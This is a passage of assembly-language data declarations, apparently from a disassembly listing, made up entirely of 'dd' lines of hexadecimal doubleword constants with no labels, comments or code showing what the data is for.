		dd 0FAD49528h, 0F38B02E7h, 0C8554944h, 61A46860h, 46EB14BDh
		dd 435E2650h, 0BDA01043h, 0AAF3928Eh, 21FCDF73h, 1E176051h
		dd 944821C8h, 0F95642ECh, 6A2D8653h, 0D885D76Ch, 0A23F52BDh
		dd 995713D7h, 2BFA6B32h, 2E3C3EB9h, 0C684D2BCh,	453EA699h
		dd 0F8E7A10h, 2286E34Eh, 267BB29Ah, 0A13E3674h,	91571324h
		dd 7BA1F3Dh, 0B1AF7D74h, 2B082532h, 0F42FB4F7h,	0EB97528Eh
		dd 56EBF43Ch, 68128098h, 0D2FE3234h, 49536949h,	4B46BF12h
		dd 0D44A67FFh, 0FC5B89B5h, 4BE1711Ah, 0AE2F26AEh, 9EFA05CFh
		dd 0E25F62E3h, 0E8E4C1F8h, 0F9149655h, 62BAD3B1h, 0BDFEAAC0h
		dd 0B37B483Bh, 464BC48h, 22BCD479h, 1C902C59h, 0EC5D3913h
		dd 0AC817711h, 77704D99h, 0AB8484D1h, 0FC6218F4h, 9742959h
		dd 7B70118Ah, 76081EC7h, 0C8D88DEAh, 1CEFBD95h,	0E0B25F3Ch
		dd 0EAAAB985h, 2B346762h, 335F7348h, 1756F65Ch,	1BD7A4B8h
		dd 323AF589h, 0D2A795FBh, 0BFD29DB1h, 1271E848h, 21880441h
		dd 2925AA02h, 0B0203498h, 0E046C20Bh, 19925D73h, 0A2AF3EDCh
		dd 10C0607Bh, 0CDBF9776h, 0E93435AAh, 0FD38C413h, 44BC3433h
		dd 0F0716FB6h, 50C808FAh, 0F0B825F3h, 38954E02h, 3FEF33D2h
		dd 81BB0233h, 237207D0h, 0FDE85305h, 8BD7B89Fh,	849BE4E4h
		dd 5286B23Ch, 0C45B718Eh, 7889295Dh, 495895BAh,	0CBA22E3Fh
		dd 1174CC41h, 6D182D25h, 650351CFh, 78DC5E9Ah, 84A9F14h
		dd 70CA54E8h, 73FB41DAh, 3BD72F22h, 0B13B9E8Dh,	0DF541DA8h
		dd 0B2E4163Fh, 93817AC7h, 0D47DDA6Dh, 748F3B2Bh, 71F3B05h
		dd 0D0834A77h, 0C78B01BCh, 0B9D12FAh, 0E2E77C13h, 0C481468h
		dd 12A710EBh, 93BFD009h, 8CAAE426h, 59970551h, 964A8961h
		dd 0C0E03255h, 8B2787CEh, 22B6A95Ch, 49743701h,	0FF4453B7h
		dd 5A802246h, 570D6CECh, 91878868h, 5956156Ah, 226E5DB1h
		dd 7252981Ah, 1266B9F2h, 2B466228h, 4B7E4142h, 0F78CEBC8h
		dd 508B18F1h, 0DD41B4C8h, 9DD8D212h, 1145203Dh,	83029F41h
		dd 0BB6A62C8h, 1B8610F2h, 0A20A51F5h, 55ED8A25h, 4C622884h
		dd 8B238AA6h, 6DD37895h, 0F1A13E87h, 60ECB8B2h,	82023757h
		dd 14383293h, 0C26241E8h, 0BC5FD648h, 7DD49E1Ch, 0DDC060Bh
		dd 8CB81660h, 8F70BF80h, 365035CDh, 1B094809h, 89E12BA8h
		dd 0D4140C7Fh, 846A9F4Dh, 5E6C6D4Ch, 7D258AA4h,	0E6847DC0h
		dd 56A45AEh, 0B8A8EB75h, 42BEF808h, 0F136E227h,	40D01957h
		dd 0E19E148Eh, 85BEC810h, 0F66F9495h, 0E36CDD10h, 2420BCF2h
		dd 15745E9h, 0AB74A8E8h, 0E850C471h, 6C6411ABh,	0F95E76B3h
		dd 6DCD2DADh, 3B44F181h, 885BE3F3h, 51A45C62h, 12BD8928h
		dd 4F849D7h, 416A136Bh,	89661FC0h, 0A120B532h, 274E7D5Fh
		dd 0A4FDCB95h, 0D4E258Bh, 6E3D1C8Eh, 37FC6435h,	5AD41227h
		dd 0DCAFE861h, 14183DB1h, 50D34A11h, 0EB88284Fh, 43FE990Ch
		dd 8BF4BDE8h, 93541718h, 94C4222Bh, 41A66C6Bh, 0F1C73AEFh
		dd 0AC7BD389h, 90D6092Ch, 81AF6EC5h, 0C93304C3h, 8C5072Eh
		dd 158AE07Eh, 24C0C19Ch, 41011430h, 7C21C23Bh, 0D355C3F0h
		dd 0B4FE8D61h, 505FC765h, 39954AE4h, 8C4A8BC1h,	299D384Dh
		dd 325E68A5h, 0E76824BFh, 7285AF02h, 8BA1443Ch,	8DD8F45Dh
		dd 22D7F698h, 0D5DF26B1h, 0B0167EC1h, 40D3004h,	6328830h
		dd 29842446h, 0C20B4080h, 0C135589h, 0C8A01674h, 0EA31BA6Ah
		dd 0F7990659h, 70D285F9h, 2C06C601h, 4EC2EB46h,	0A07F6561h
		dd 0F1033B4Bh, 0E8A0872h, 0FC40A388h, 8B3D22EBh, 5D8F9A75h
		dd 0A5F52D1Ah, 0B8783C7h, 0FB4834C3h, 64089E2Bh, 8180621h
		dd 0B8060B0Fh, 0C364E25Ah, 0BC22C00Ch, 0AC0CB419h, 21A44386h
		dd 97C8219Ch, 71EFA118h, 4006BEB8h, 2F481F0h, 0A1FC01F8h
		dd 0AAA32A94h, 32861128h, 0F80851F0h, 5A89E827h, 0CCD04B12h
		dd 5951068Dh, 0F8C830E3h, 65A5F327h, 1980833h, 576A474Dh
		dd 2727F27Dh, 7D77A759h, 4EB759DDh, 0C423866Ch,	842D42A4h
		dd 0F09311A6h, 0C8F41E90h, 21506F97h, 168891FCh, 3DD3BB53h
		dd 9C10646Ah, 10E9B9ECh, 94BB3C4h, 20A28525h, 2D5AD0BFh
		dd 9BA9BE4Fh, 5D996889h, 0F51FEE8h, 7B63181Ah, 319314CBh
		dd 4BBB5488h, 4F909BD9h, 1FCF297h, 186CE8F8h, 68778E2Dh
		dd 3704686h, 0BE2FEB5Bh, 66DB47C8h, 0A339D526h,	1BC89A4Ch
		dd 0F6BB3239h, 6A1AA21Ah, 0B5F28560h, 0B71B3015h, 70195709h
		dd 0E1660614h, 3546B33Fh, 96AD49C9h, 0A7FD109Ch, 80CD500Fh
		dd 7C0A3A39h, 32347E68h, 0F594F849h, 24757B30h,	0FEFC5371h
		dd 276A25A2h, 9D5FAD4Bh, 0B9C7B7E2h, 0F4A70895h, 122C34DEh
		dd 0C78EFE41h, 61C86D64h, 211FC0D8h, 10209683h,	0B39316C0h
		dd 444B8DAAh, 4C8B2B0Dh, 7864EC60h, 5534BA9Dh, 0CE093C6Ah
		dd 0EEF6BB0Bh, 0F80D12D1h, 0E6A361EBh, 229FE048h, 708D1F08h
		dd 80E84B02h, 0F879D6Ah, 4314AA57h, 0F7E21F38h,	7868B460h
		dd 95DD19Dh, 0CEFB93ABh, 4929121Fh, 1BFEC942h, 976D3C10h
		dd 65C380Ah, 874189Bh, 0CC587559h, 4BA92860h, 3077858Ah
		dd 84025C4Bh, 354B7390h, 0E8B261ACh, 28596963h,	9F06905Ch
		dd 71601DC9h, 0E8D3927Ah, 8F95B1E6h, 0AC378C2Ah, 1D565E32h
		dd 8FDC2887h, 0BEE97589h, 0C4C9FFD6h, 1A89BFD9h, 0D864FED4h
		dd 79DC7D61h, 84A8C820h, 0EE575056h, 0C8EA0664h, 3ABDACA9h
		dd 2819612Ch, 93D64B21h, 0FC25E424h, 0A4B2D254h, 0A59AD326h
		dd 0A6BD9371h, 0B34EA8D6h, 0C706301Fh, 5DBDB080h, 0D7D40A0h
		dd 0A3642404h, 88C1119h, 0D7122857h, 88C4E2FDh,	41735409h
		dd 10136EADh, 279AF1B0h, 9F5240C5h, 2F35A2CAh, 2589943Bh
		dd 1D390907h, 74522090h, 4DE5E805h, 35157DD8h, 0CA5F664Ch
		dd 0D4A32704h, 4213425h, 0B8E63EDh, 0C3928459h,	5E87DD4h
		dd 68164422h, 62ED7530h, 46B67B6Ah, 0AB9EEF2Ch,	3D0F2818h
		dd 50A99F02h, 9FBB18D8h, 0F5F77C89h, 5C251F6Dh,	948567AEh
		dd 0BD800504h, 0BE01D17h, 331BC330h, 7DC38AC0h,	213C1F32h
		dd 0E2572A20h, 9412FC10h, 0FD143F45h, 0EF9D5344h, 0CC5E3E52h
		dd 0F9650C58h, 2524530Fh, 0ABBD2CD1h, 0BC1CB6C2h, 3C194D91h
		dd 92BFC5C9h, 34CA6067h, 9602264Ch, 0AE30442Bh,	2BA69092h
		dd 890B26F4h, 9218F546h, 56253174h, 447FC233h, 9804ECF7h
		dd 26237B79h, 920E8D5Ah, 1D3ED1Ah, 61C28056h, 25409788h
		dd 52F1E847h, 3B052194h, 29DD72F8h, 181089BCh, 0C4145DFEh
		dd 4C8CC725h, 0A2184F0Dh, 3E18A206h, 25248FA1h,	53180841h
		dd 3365A3AEh, 0D297D669h, 69E05689h, 29BC86F5h,	0C020487Ch
		dd 937E0A6Eh, 941AC1Fh,	0FD3A9868h, 3987FB96h, 0C7EB943Bh
		dd 0ACE8C274h, 102FEAD4h
		dd 0A6076A0Dh, 8E4916Ch, 0B10853E4h, 199CC48Ch,	6EFAA31Dh
		dd 4030FFE4h, 24D799A8h, 0CC5D09D0h, 758C1BD4h,	40206EC8h
		dd 26955011h, 7DE310C6h, 0A8D8B1Ch, 0ECF05169h,	0F640780Fh
		dd 0B631FE68h, 8BD08B7Ah, 71BD81C6h, 249C1D40h,	0E153E477h
		dd 2893D2ECh, 0D213DC52h, 0FF28FC72h, 965DD642h, 3E4580Ah
		dd 0A4DE8E3h, 0B05389A5h, 243D8363h, 1A694B0h, 0A1437E02h
		dd 0FF1181B4h, 0DAE80470h, 0F14FAC39h, 3656F16Eh, 74B67794h
		dd 39812068h, 19740858h, 43658E2Fh, 1C083335h, 0F1555B18h
		dd 0F3ED49EEh, 99B2104Fh, 0C82D0D26h, 0E9D709C0h, 0F21C3419h
		dd 99246802h, 823BFED2h, 12925334h, 9E9C2AA7h, 310D291Ch
		dd 8DE76A18h, 3F0B804Bh, 8AEFDEDAh, 0BAFC5DE8h,	6A0B2BB0h
		dd 0C06D687Fh, 563482BDh, 9C1D2689h, 11E88B5Bh,	7CA1BC23h
		dd 3F6A2B06h, 832FA4BFh, 0B1195F99h, 0F51C01E0h, 3F6785A2h
		dd 170BE4BEh, 0E3F899D4h, 644625A8h, 57787848h,	0A602E3B1h
		dd 3B161180h, 0C1028789h, 65B9FEDCh, 0EB9C8C07h, 20542C77h
		dd 5C849868h, 0F88522DEh, 847A8802h, 93A3BE5Fh,	3742F60h
		dd 0FC584DFFh, 670B2415h, 734D585Ah, 7C061B7Dh,	58640CA7h
		dd 81259552h, 5A40743Ch, 5EE80AB9h, 345AB3A2h, 474743AEh
		dd 973A21A9h, 0E9794424h, 38149055h, 2FD9DC1Dh,	19B749A2h
		dd 1259D899h, 438C8008h, 0A1FB84F0h, 0EE19F432h, 85551AF6h
		dd 90460161h, 128905E9h, 9D85F6E8h, 8F63AAFh, 86661025h
		dd 0EE01902Dh, 225943F6h, 0EADA9570h, 2D016023h, 0C908B245h
		dd 0E55FDA89h, 0FFF293CBh, 20E88A8Ch, 11B7D492h, 0B842F4E2h
		dd 1C3B84F2h, 8E44D408h, 1B5B105Bh, 0AD1614E1h,	0C1A42C0Ch
		dd 783A43D9h, 0FAF8F732h, 607254CCh, 40051B6Ah,	5255F96h
		dd 0C0322E29h, 0DBEDD528h, 0A028F014h, 97B08910h, 0F093BCF1h
		dd 75FC38AAh, 99961C7Ch, 875234C5h, 55E9AE3Ch, 0A31CFF3Ah
		dd 315C3168h, 0A6E57043h, 0FF279025h, 346F413Ch, 12B5E90Fh
		dd 5D830900h, 4070CC6Eh, 0A7828BA6h, 0D05F5E1Ah, 37E964F5h
		dd 9F56BA83h, 0DBBA104h, 1860B9BCh, 0E9097402h,	702DD36Bh
		dd 259961Fh, 85DCE8CCh,	297795Eh, 0ED4F5DACh, 10B882A8h
		dd 86D2681Ah, 31D3B790h, 6EE13635h, 0BDFA37Bh, 0D9188859h
		dd 15D827E7h, 3290F4A1h, 68151462h, 25094C07h, 6254DE31h
		dd 6C7D5FE7h, 0B4144CFBh, 0EA76759Ch, 0AB24C16h, 95EC1025h
		dd 8C6835C5h, 9D9D618Ch, 6059B1CEh, 0C1968963h,	292F5971h
		dd 4AA33ABBh, 9B791BC9h, 2D1C574Bh, 5EDA6C97h, 0C4DABCBEh
		dd 2116E5F0h, 6B87D1D2h, 0E527B9A7h, 61ADF54Dh,	2DAFCD35h
		dd 1D219EFEh, 0CC705831h, 75460CA7h, 7E4F6895h,	824F98B5h
		dd 446CDC1Fh, 0E526AE24h, 0FCFC9D52h, 0EC2DF62Fh, 0D99E202Ch
		dd 0E837F87Bh, 896F9149h, 7656482Ch, 0CFFF7E92h, 83BD01B2h
		dd 2574FDFEh, 41750ABBh, 4F85521Ch, 7D68FA92h, 0AC9F04C7h
		dd 0A7CE075h, 0FF43E999h, 2EB096Ch, 328D792Fh, 9C784819h
		dd 420E1544h, 0B0B24E8Fh, 0F9E67D55h, 78DBA0C7h, 4D5464C7h
		dd 8EE4AC03h, 6A9D6BF0h, 0A0055463h, 3818C8B9h,	8613C2ACh
		dd 4A5C9526h, 0D5FDFC9Ch, 0DE9E2750h, 0A85D6513h, 7163367Ah
		dd 0F0642195h, 57ACE80Ch, 4B0EA44Eh, 0E8ADD156h, 1057A16Bh
		dd 65486128h, 8BDA869Ch, 1AA782CFh, 8F95D24h, 41432EB3h
		dd 0F17A9951h, 19FD2E71h, 6507FADAh, 34797B34h,	0DB49026h
		dd 9158A908h, 0E891501Fh, 89416961h, 0F9565907h, 0D017833Ch
		dd 518BEA75h, 32442CB5h, 0E3CD960Ah, 349D398Ah,	29C11832h
		dd 0ECC2AA5Ch, 860618F5h, 0F440CCB5h, 5A1F256Ah, 398BFB87h
		dd 26004B7Ch, 752D3880h, 4858E829h, 0F00A302h, 890170BEh
		dd 8428C619h, 49F53035h, 0C99F2156h, 600EF58h, 0E9834A02h
		dd 4D33B04h, 9D38CC7Dh,	7E7CB15Fh, 0F019C316h, 6085A16h
		dd 73F3591h, 0A3E80FCh,	0ABC635B5h, 0CD6C5ADAh,	0F5A8097Bh
		dd 17C16046h, 8DC673BFh, 82557E8h, 0E42E680Ch, 9E4201F3h
		dd 1F13F19Ch, 5F80D256h, 89088B23h, 403BB1F5h, 0C2088661h
		dd 4F7AC1C6h, 3E657468h, 41E1EE8Ch, 28E9425Ch, 18839556h
		dd 87BF850Fh, 3A61130Eh, 214C6468h, 14688AC0h, 37CAA4E9h
		dd 0AEB0408Bh, 8042F2C8h, 0A38C88B1h, 0C5AD211h, 4284B82Ah
		dd 94A1DE9Ch, 87848160h, 682A7088h, 4A0AAACh, 0E8427886h
		dd 0B0DF8A21h, 95404DFFh, 0B692D6C4h, 8CE82414h, 0EB0CC3BAh
		dd 5C762139h, 2FA14C10h, 92E47653h, 54E83643h, 8058573h
		dd 0A9725068h, 8B1C1817h, 23E9C712h, 3C57B94h, 2902DE62h
		dd 414A8156h, 0F87B22CBh, 0A549887h, 4DFFBEC7h,	0F703C05Dh
		dd 750AF593h, 4851E4D9h, 9ACD7F42h, 0D41A842Bh,	45145450h
		dd 3814512Ch, 5441E11Eh, 0D212974Fh, 7A85299Bh,	6164D432h
		dd 8517782Fh, 28EF655Ch, 7DAC7BACh, 12124452h, 0FEE61E88h
		dd 31146813h, 0A58332CFh, 860FCC8Eh, 4682B33h, 5B368AE1h
		dd 9185EF1Bh, 20680ADFh, 2C4D8AB7h, 516D1A9Dh, 19936712h
		dd 92636595h, 0DC4A148Dh, 1889CEA2h, 0F088D045h, 6C77695Ah
		dd 0FCE980E5h, 86E48864h, 1410885h, 0EF48BBAEh,	21F04094h
		dd 12612608h, 0B93F2C2Ch, 3A298647h, 216A0913h,	9E5B99F0h
		dd 3624159Ch, 5ACC2374h, 0C6027E0Ch, 0A8474006h, 91897AAAh
		dd 57240FA7h, 7935812Fh, 6F588C51h, 7508154Dh, 0ED92E2ACh
		dd 4CC242A4h, 562C20FFh, 2F52C564h, 0C16D4C8Ah,	0A10F6A15h
		dd 6909DFB1h, 51239A9Ah, 7D8B007Fh, 38F63320h, 13741F15h
		dd 1BCCD99Eh, 0A74314Ch, 0C7814611h, 1D52C6Bh, 0E9DD7C02h
		dd 0AF38140Dh, 969D4266h, 0C4F27149h, 0A74CFB64h, 0F88B282Ch
		dd 315CEE0h, 92081FF7h,	870E047Eh, 5930FED5h, 0C907E6C1h
		dd 1102033Bh, 2E4AF468h, 818C0482h, 540872D1h, 68984BFBh
		dd 595BDDE8h, 0A2CD79F8h, 0EC564267h, 0A5858E10h, 3022308Dh
		dd 7D814267h, 2752751Ch, 0FF1285BAh, 0B9020ECDh, 5A2CB162h
		dd 0DE2CB94Fh, 0E868C2B2h, 75404E84h, 0ED6A413h, 2B7C4834h
		dd 28E810C2h, 240955B1h, 1E0C7EDh, 68281DAEh, 0DA2E37B4h
		dd 93B8CCDDh, 22FB0BE9h, 0CAA120C3h, 27061C88h,	0C47A495Fh
		dd 0B8236480h, 86212DBCh, 0A17B69A1h, 84C589C9h, 8DBCA144h
		dd 1943C39Ah, 4B288B27h, 0A2B04089h, 0FD569FE9h, 78BE1234h
		dd 0D902533h, 70BF596Bh, 38D70819h, 0E9801CA4h,	538E8479h
		dd 6C216226h, 0DD84630Ah, 0B654D750h, 88949614h, 19D0CBA6h
		dd 419E9926h, 70E02259h, 0CA16AC01h, 0E4162B9Ch, 78B9CC5Ah
		dd 0FE6A9F8Bh, 89046A41h, 5E3BC733h, 2650BFCFh,	8B0204F9h
		dd 0FCA23584h, 8107BC2Ah, 0F3A464B7h, 2B412803h, 3E7C83E7h
		dd 0B4B50431h, 5C974C35h, 1BCC5784h, 291B325h, 8B7D0C68h
		dd 0BF5E4F40h, 8827F9BDh, 8227F904h, 0A97F7461h, 0F0F1B019h
		dd 6014A9F8h, 458B7C18h, 9602AE9Eh, 4ED25D88h, 0B120C6Bh
		dd 0B019148Bh, 88DA949h, 8985E078h, 99F0F897h, 2752903Ch
		dd 989407F8h, 6AA11E48h, 1C44B929h, 94A98434h, 6A12218Dh
		dd 9C1E9212h, 448C6BECh, 97848C6Eh, 68A07FF6h, 0F90A890h
		dd 32F8BA4Fh, 1F898DE2h, 9D35B6FDh, 0E5A04171h,	2DFA9822h
		dd 7374BA85h, 0BB70B8DAh, 754B8C82h, 5E7A66EFh,	27FF7422h
		dd 9248AB84h, 0DF9463DCh, 649E7490h, 7A0551E7h,	0C55C21Dh
		dd 979295E7h, 0ED661A36h
		dd 0B21AF917h, 4A3A1E43h, 9A33A718h, 36C30513h,	0EC69C597h
		dd 0BED7B120h, 8B21C8DFh, 740F05Dh, 0F61BDEF7h,	4C04C672h
		dd 6EB15D5h, 4E76088Bh,	0FBAA32BCh, 12AB2306h, 27106857h
		dd 2882D4BDh, 49FD65FFh, 807C038Dh, 71B92339h, 4BF17DA1h
		dd 4064D7A0h, 0F0C238C2h, 0C1515061h, 1F2863D8h, 6855D1C6h
		dd 0D8C21E9Bh, 7D9A1063h, 0DA140987h, 0E937D44h, 0A7B1858Ah
		dd 14480A9h, 3CF16685h,	2CCD4A12h, 0E934144Ch, 91043F92h
		dd 7E4463D0h, 846E2881h, 0D3548448h, 5F684AAFh,	1E22D3A0h
		dd 0B8948950h, 0A748E911h, 0E59DDC7Fh, 5811056Ch, 27A27D01h
		dd 1868148Ah, 7CF1C4A9h, 5E04E0A6h, 0CE17A9E9h,	631011CEh
		dd 0A180FE10h, 380E013Dh, 0B6A40FBh, 79ACE813h,	0DD35315Fh
		dd 0ADC56FC2h, 9709D87Bh, 21C99C7Ch, 215C8203h,	0B4F294C0h
		dd 62DC215Dh, 9C7C3D09h, 0DA1340C2h, 0AA64765Ah, 51C4C28Ah
		dd 74137EB5h, 6FBE2916h, 8AAFD5D5h, 0DF94CD31h,	59391AF9h
		dd 420EA8DCh, 0A5629E0Ch, 7BAC09E2h, 0B6226466h, 0E22B0FEh
		dd 8A01488Dh, 0B9053A05h, 0F89185Eh, 0C9F8C0B8h, 0D4063F2Dh
		dd 892E6504h, 0A708407Dh, 7D06E97Fh, 30DC1450h,	92E82B22h
		dd 560E9115h, 1A75176Ch, 7FE9F369h, 4FE4110Ah, 12305D19h
		dd 0C13312DBh, 0D53B1D20h, 79C2BECEh, 66840901h, 4ABAB928h
		dd 8A96427h, 74613329h,	30A78115h, 3B0A8071h, 7C032C3Dh
		dd 5B68E9DFh, 8C13175Bh, 804BC5DCh, 54FAE136h, 528AAC14h
		dd 693CBA0Dh, 298831D0h, 300F0248h, 8F8D0312h, 0E4B7C069h
		dd 1FF89D7Dh, 0EF75150h, 138D9340h, 0FBAC3544h,	0F285B91h
		dd 148DF938h, 0D7107FF1h, 61F884B6h, 9D90AD88h,	111316C2h
		dd 5A6B08E5h, 4177F6ADh, 968B4274h, 4E02395Ah, 93878D3Bh
		dd 705210B2h, 45010A82h, 5B19ADF4h, 0D6FAFF33h,	0E8153EB0h
		dd 74C2992Ch, 44965047h, 36B4BFE0h, 0A232EB42h,	902B7542h
		dd 0BF026A1Bh, 0E8272E44h, 0A1DCB78h, 0EE5D8812h, 0BECC7034h
		dd 3B187F84h, 6D09284Dh, 3E080414h, 528F0DAFh, 12BF0939h
		dd 8B2210BCh, 43BB9CF8h, 79D511F4h, 0A7F9FB1h, 78B190Bh
		dd 4E13B2C1h, 906C2160h, 5FEF8A0Ch, 0C7B27F04h,	2EA61DC5h
		dd 10481349h, 39DA82A5h, 6A28D5F9h, 0BEECE54Eh,	9C42EBD7h
		dd 224361F0h, 0EE65BE2Ah, 126A689Fh, 1F731845h,	11E06815h
		dd 53710722h, 0E885EFA5h, 0F9D76880h, 1C45D445h, 8123BDEBh
		dd 1CA60A40h, 9111CC68h, 0C4BF14DAh, 15A0420Bh,	0D9BD7EE2h
		dd 8C2E9F4h, 50CE9114h,	0CD9018B2h, 46A0514h, 39E8A0CCh
		dd 26F5A591h, 436108C8h, 0C490808Bh, 0A0BDEE29h, 527C3014h
		dd 39020909h, 36A167Eh,	0DBC2899h, 642B91C1h, 104821A1h
		dd 7620737Eh, 75111256h, 88FD7D41h, 7BEB9920h, 78D82D11h
		dd 209FA272h, 20C28082h, 0EC552988h, 62B22823h,	806A4CEDh
		dd 0DE289491h, 0C562489Ah, 73C82D2Bh, 0A4AE06C0h, 92041195h
		dd 0D9AA9645h, 10834BA0h, 0D843BCE9h, 0FCD5F634h, 0FE91A0Ch
		dd 762FD35h, 1CE80254h,	12597232h, 0FEF91012h, 14264545h
		dd 0AE684A19h, 8CE84B45h, 208923B8h, 294AFD53h,	21FAA82Fh
		dd 6BE85384h, 4DFED857h, 75091877h, 0E68C8BE9h,	1284432Ch
		dd 6604CB3Bh, 9090F4CAh, 278903C1h, 409A8B08h, 61B0E860h
		dd 7B9000BBh, 84BCEA1h,	476142A8h, 90B92115h, 597D889Ch
		dd 84940C82h, 6D210BEDh, 53888890h, 844AB658h, 3E218042h
		dd 7432A164h, 210B2911h, 886C906Eh, 32B45B14h, 7AFF1060h
		dd 492F0885h, 0EA225844h, 211A4316h, 0B2D51048h, 9401905h
		dd 0F02116FEh, 882C1048h, 47B958ABh, 211C4284h,	32A46496h
		dd 1C811108h, 612F4B75h, 21116A94h, 2E33A67Ch, 770A601Ah
		dd 1CA6E079h, 653D6869h, 20088473h, 42F355E9h, 412560DCh
		dd 14154062h, 0CC220646h, 4CBEEB32h, 0A1B11BCh,	0B0C403C8h
		dd 0A8049822h, 1C79F521h, 65268518h, 0AB339C1Bh, 0E90B1290h
		dd 7CDE326Fh, 2BCC2984h, 20611024h, 215C4229h, 88509046h
		dd 0A1056A3h, 38884468h, 28321D44h, 0C90A7A11h,	2935080Bh
		dd 0F4841010h, 440827FEh, 0F2E2B51h, 535F19C7h,	0CB24D6E8h
		dd 48DCD833h, 0E485628h, 0C0294014h, 21A24384h,	78A13CB0h
		dd 1C260451h, 4329A428h, 11902179h, 10C0D4D6h, 0E89D45CCh
		dd 0C8C14215h, 227464B7h, 8A4316ACh, 97428471h,	5C6475C8h
		dd 7DBE8222h, 54681708h, 8444905Fh, 3422FDFCh, 295F5911h
		dd 206B1926h, 211C4229h, 881090D3h, 84C5630h, 0F829406Ah
		dd 86AA5E44h, 789EC7Bh,	0CF10904Bh, 15E48A44h, 5177F208h
		dd 84D80CBAh, 61DCDD42h, 0C888D090h, 0C40C6F59h, 0C8B34284h
		dd 22BC6438h, 2343169Eh, 8910AC21h, 22F4C6B3h, 0B7411A0h
		dd 9490B121h, 0F45B5F88h, 4A118C32h, 0BB49210Bh, 623521C2h
		dd 7C1142FDh, 0BD852008h, 117021C3h, 4175C70Bh,	5CBBE3B2h
		dd 40B88D6Ch, 0DD05F92Fh, 500F9308h, 5ABCF0DCh,	3B812972h
		dd 8832A28Dh, 204B0884h, 42ADE91Ch, 5DF811F5h, 6776B915h
		dd 22419084h, 0A41584ECh, 42867B2Ch, 648F21E0h,	11D83246h
		dd 31210B7Ah, 6588D090h, 84402C58h, 5021C842h, 0B8321764h
		dd 100B3B11h, 0AC883FE9h, 0D42C2644h, 21A04286h, 32886411h
		dd 75FC1098h, 0C8731085h, 2CE7448Ch, 8EF8633h, 1E9085D2h
		dd 0BD4478C8h, 3E42CF2Ch, 0A8107021h, 6419BAB2h, 88859308h
		dd 5C443D9Ch, 43167E22h, 10502187h, 1B48B269h, 165422B4h
		dd 3C213343h, 9AB13F10h, 8434083Ch, 61DD2A42h, 15882490h
		dd 1C0C5359h, 210BE184h, 840C903Eh, 102874EBh, 21044286h
		dd 3BFB62D6h, 895CF810h, 9F210BC1h, 0AC88EC90h,	0DC0C8A59h
		dd 4C974784h, 0E107E299h, 0C4135C91h, 0FA1144ACh, 2984BC22h
		dd 9F7C286Eh, 1A4A4DFAh, 0D142D5F5h, 801C095Ch,	13488821h
		dd 92EA614h, 0A201478Dh, 2B5CA4BAh, 680A6D53h, 0D7280D9Ch
		dd 0ABE36F5Bh, 47B8C148h, 3A2441A9h, 0B8B85438h, 4F7C81A5h
		dd 0E953456Eh, 5CA88C6Ah, 73E111A0h, 7E08CBA5h,	2254443Ah
		dd 6915B9CCh, 4284440Ch, 6429C8B7h, 16A22238h, 28211443h
		dd 0DBB18D10h, 841C0839h, 0C6C87842h, 63220C64h, 70744316h
		dd 0C84E4284h, 5BF0625Fh, 0B0B1502Fh, 84E00837h, 9BC82442h
		dd 0D827D064h, 84364858h, 42FA08F5h, 64338872h,	16E522ACh
		dd 10332321h, 59D088A4h, 0F6E0140Eh, 63309770h,	0F9BFEBC0h
		dd 26989494h, 0CF63AA21h, 170A8732h, 93889010h,	0E61DB859h
		dd 230B7C11h, 887C9081h, 1C6A5965h, 4E428470h, 30EE3AC8h
		dd 23593788h, 4284601Ch, 31D5C420h, 9115862h, 90BE230Bh
		dd 71F28448h, 3046E428h, 0DB103C21h, 0BC3BCDB2h, 4716C422h
		dd 1028210Bh, 2FF4B1ADh, 42841818h, 0E492C896h,	167F220Ch
		dd 84707B47h, 4F230BEDh, 905AF888h, 3938B251h, 853A08ECh
		dd 0C42EF788h, 162322E4h, 0D421E047h, 0A4B20C10h, 0F508CC39h
		dd 8D887042h, 0DE22C4E4h, 21144716h, 0B1C710BCh, 0A8182DFDh
		dd 0C8B04284h, 22A0E4BAh, 0A3471699h, 82109021h, 0CC3B31B2h
		dd 47166B22h, 1078211Ah, 2CCCB154h, 42847018h, 0EEB5C83Dh
		dd 58268830h, 428C2BBDh, 91857F60h, 4250C8A6h, 47146FF8h
		dd 10482174h, 395DB2E1h, 85CA083Ch, 0C42A6888h,	16B32234h
		dd 28215147h, 0FFB19C10h, 85210F29h, 20C8716Fh,	862C6E44h
		dd 2118428Eh, 0C8316F57h
		dd 2C404408h, 702846D3h, 0C8294284h, 0F8F8E7BCh, 42A71290h
		dd 0D3C40133h, 0FD15F450h, 0A4926E42h, 185C6A34h, 466725CBh
		dd 680A3AD5h, 74E941E3h, 0D1C7574Bh, 9652D939h,	0D294BA89h
		dd 0AC8FC3BCh, 0F33BC630h, 75B04416h, 4CBE1C0Bh, 0C17A7EC2h
		dd 4CA7E856h, 6257556h,	0E078128Bh, 97FB289Ch, 0E813416Eh
		dd 3AE76FE3h, 0C96CEC4Ch, 6A4E4F22h, 1820EE8Bh,	4C64EC25h
		dd 0FBA8279Bh, 247AEE4Eh, 8DDC7886h, 74FBA808h,	17FBB421h
		dd 1F3AEBD8h, 14D32C29h, 28C8FEAEh, 146DFF42h, 532BA865h
		dd 666BFF44h, 7EC68FBCh, 5864DD0Bh, 1852805Dh, 6CEB15C7h
		dd 941E4A91h, 37C857A2h, 714A9B24h, 74154CB3h, 18225762h
		dd 28A2241Ch, 426EA646h, 643AC891h, 657E821Ah, 44426E94h
		dd 4111221h, 3488714Fh,	9445B869h, 9BCF09E9h, 4C669260h
		dd 6807089Dh, 0EB0957D0h, 129A2FDAh, 7615942Dh,	0C49964h
		dd 0C756B30h, 0B69F91C7h, 4B75E7Fh, 0AE99F80Eh,	0BD45CF5Dh
		dd 7048B748h, 64856CF0h, 6EED392Ch, 579C100Bh, 0E210988Fh
		dd 6335021Ah, 9D0A2839h, 28A22191h, 97121117h, 12CA2FEAh
		dd 0D38574Ch, 0A62AFD27h, 0A3F04B69h, 2D73962Dh, 6708A11Dh
		dd 0E9144340h, 1194B6D4h, 16115744h, 0BA1ADD6Ch, 419B5DF1h
		dd 9051ED78h, 0F8EB2008h, 0A05A5644h, 9CF45D1Ah, 8B13335Bh
		dd 5DF1D8B4h, 45A50854h, 0E69207Ch, 22ADD0C4h, 1ECE6D7Fh
		dd 8F829308h, 6BBF2201h, 0DA557530h, 0ABD74872h, 6C05F713h
		dd 0DD811681h, 0B72E48h, 1A93672Bh, 0D554B306h,	0E142FDD0h
		dd 89D48B17h, 8484944Eh, 941E01D6h, 0CC260A8Ch,	0B884675Ah
		dd 8A665995h, 4066107h,	42309DEBh, 6341237Ch, 1FDCEB05h
